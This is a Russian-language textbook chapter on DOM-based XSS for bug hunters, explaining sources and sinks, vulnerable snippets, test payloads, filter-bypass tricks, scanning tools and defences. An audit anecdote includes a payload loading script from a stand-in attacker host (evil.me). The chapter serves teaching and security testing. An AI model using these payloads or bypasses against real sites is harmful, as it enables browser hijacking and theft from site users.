Книга: «Все об уязвимости XSS». Глава 2: Типы XSS — Знай врага в лицо 👀. DOM-based XSS: когда JavaScript сам себе враг
Если классический XSS — это атака на серверную часть, где неочищенный ввод пользователя возвращается через HTML, то DOM-based XSS переносит игру на новый уровень. Здесь зломышленник общается не с сервером, а с самим браузером и его JavaScript-кодом. Вся магия происходит уже после того, как пользователь загрузил страницу. Это современный, коварный, и зачастую невидимый для стандартных защит тип уязвимости. Добро пожаловать в адскую смесь легаси-джаваскрипта, фреймворков и client-side багов.
Как рождается DOM-based XSS
В отличие от reflected и stored XSS, где уязвимым оказывается сервер или база данных, источник DOM-based XSS — сам клиентский код. Классика: сайт получает ввод пользователя через URL, фрагмент, cookie, localStorage или другие источники, и скрипты на странице неправильно обрабатывают этот ввод, вставляя его во встроенные объекты DOM (например, через innerHTML, document.write или даже eval).
• Пользователь переходит по ссылке или заполняет поле
• JavaScript берёт этот ввод непосредственно из клиента — например, из location.hash, document.cookie, window.name, localStorage
• Скрипт вставляет данные куда-то в DOM, часто в качестве HTML или атрибута
• Браузер видит вредоносные теги и выполняет их, открывая дорогу атакующему
Весь процесс протекает на стороне пользователя, минуя сервер — и поэтому невидим для бэкенд-логов, WAF-ов и фильтров.
Классические примеры
Сценарий 1: работа с location.hash
document.getElementById('output').innerHTML = location.hash.substr(1);Ты заходишь по ссылке:
`https://site.com/page#<img src=x onerror=alert(1)>`
И всё, alert(1) сработал — JavaScript вставил payload на страницу, браузер подхватил теги и выполнил скрипт.
Сценарий 2: document.write с user-controlled данными
var content = getParamFromUrl('data');
document.write(content);Параметр ?data=evil() приводит к выполнению скрипта.
Сценарий 3: использования eval
Любой, у кого есть доступ к хэшу, может исполнить свой JavaScript в контексте страницы.
Источники и стоки: основа любой атаки
В контексте DOM-based XSS важно знать два типа точек:
• Sources — места, откуда JavaScript получает данные: location.hash, document.URL, window.name, cookies, localStorage, формы, сообщения из других окон (postMessage)
• Sinks — методы, которые вставляют данные в DOM: innerHTML, document.write, outerHTML, insertAdjacentHTML, eval, setTimeout/Interval (со строкой), атрибуты через element.setAttribute
Вся суть атаки — сделать так, чтобы пользовательские данные из sources попали в sinks без фильтрации и экранирования.
Почему DOM-based XSS опаснее классики
1. Полная невидимость для серверных защит. Никакие фильтры, WAF, защита от SQLi и прочее не увидят, что ты через JavaScript сделал вставку в DOM.
2. Мобильность и современность. Single Page Applications (SPA), фреймворки типа React/Vue/Angular — всё это работает с клиентским роутингом, localStorage, динамическим контентом. Чем больше логики на фронте, тем выше шанс ошибиться.
3. Сложность обнаружения. Большинство сканеров ищут XSS только на сервере. DOM-based дыры требуют особых инструментов — например, Burp Suite с включённым DOM-сканированием или специальные плагины для браузера.
4. Часто находится в легаси и кастомном JS. Сайты годами тащат за собой костыли, копипасты из stackoverflow, jquery-плагины, свои скрипты — где кто-то когда-то забыл экранирование.
Трюки и лайфхаки для поиска
• Ищи любые вставки из URL, hash, search-параметров, window.name, user input, cookie, localStorage.
• Проверь, используются ли innerHTML/document.write/insertAdjacentHTML — это самые сладкие места для атак.
• Используй Chrome DevTools, чтобы отследить, что берёт JS из клиента и куда вставляет. Простой search по коду: “innerHTML”, “eval”, “location”, “document.write”.
• Осмотри сторонние плагины, кастомные js-библиотеки — там часто встречаются забытые дыры.
• Проверь chain атаки: иногда данные проходят несколько обработок — сначала как текст, потом как HTML, и только на третьем этапе становится XSS’ом.
Payload’ы и Polyglots
• `<img src=x onerror=alert('XSS')>` — классика для проверки innerHTML/insertAdjacentHTML.
• `<svg/onload=alert(1)>` — обход для некоторых фильтров.
• `"><script>alert(1)</script>` — если годится разрыв тега.
• `javascript:alert(1)` — для uri-схем (location.assign, href).
• `setTimeout("alert(1)")` — если параметр уходит в строку.
Polyglot-атаки — это payload’ы, которые работают в разных контекстах одновременно. Их легко найти в списках PayloadAllTheThings и аналогичных ресурсов.
Инструменты поиска
• Burp Suite Pro — c DOM XSS scanner
• DOM Invader (от PortSwigger) — расширение для браузера, которое показывает sources/sinks и сразу подсвечивает рисковые участки
• XSS Hunter — хорош для Blind DOM XSS, когда твой payload срабатывает “где-то” на клиенте чужого пользователя/админа
• Manual code review — открой JS-файл, ищи все подозрительные места
Автоматизируй, но не пренебрегай ручным анализом — лучшие DOM-based XSS часто появляются там, где сканеры молчат.
Обходы и хитрости
• Используй двойное и тройное экранирование: попробуй `/`, `%2f`, `\x3c` вместо `<`.
• Разбивай payload на части — некоторые фильтры режут по символу, но забывают про сочетания.
• Проверь старые версии JS-библиотек и jQuery — там много костылей, которые были закрыты только в новых релизах.
• Используй многоступенчатые атаки: вставь payload через window.name, а затем вызови его через innerHTML в другом месте кода.
Как защищаться
1. Экранирование всего ввода в client-side JS. Никогда не вставляй данные во внутренние объекты DOM без очистки.
2. Используй безопасные методы. textContent, innerText вместо innerHTML. Для атрибутов — используйте безопасные API, например, через Node.setAttribute с валидацией.
3. Content Security Policy. Введи строгие правила CSP, запрети inline scripts и небезопасные источники.
4. Регулярный аудит клиентского кода. Все новые JS-фичи проверяй на потенциальные XSS через manual review и автоматические инструменты.
5. Либо доверяй, либо никогда не вставляй user input в HTML, JS, URI контексты без тотального контроля и валидации.
Кейсы и массовые баги
За последние годы огромное количество топовых продуктов страдали от DOM-based XSS:
• Gmail (2017): один параметр уходил в innerHTML без проверки, позволял красть письма через открытие вредоносной ссылки.
• AngularJS (старые версии): баги с фильтрацией данных во встроенных директивах (например, ng-bind-html).
• jQuery: до версии 3.0 innerHTML часто пробрасывался raw.
• WordPress плагины: часто в админках, где данные из форм уходили в браузер саппорта или модератора.
• SPA-приложения: с динамическим роутингом, в которых все параметры переносятся через URL и отображаются как HTML.
Пример из жизни
Однажды клиент попросил аудит SPA на Vue. В коде обнаружился классический баг:
let q = location.hash.substr(1);
vm.htmlContent = q;
В шаблоне:
`<div v-html="htmlContent"></div>`
Обычный переход по `#<script src=https://evil.me/pwn.js></script>` приводил к тотальному захвату браузера всех, кто посещал страницу с любым параметром. Администратор попадался в 100% случаев, так как часто открывал ссылки в тикетах.
Итоги
DOM-based XSS — это атака, стоящая на передовой современного клиентского кода. Она невидима для серверных средств защиты, часто живёт годами и поражает даже защищённые, современные веб-приложения. И если ты хочешь быть настоящим охотником за багами, научись видеть эти уязвимости в современных SPA, фреймворках, кастомных js-библиотеках, и всегда помни: JavaScript сам себе враг, если с ним обращаться неаккуратно.
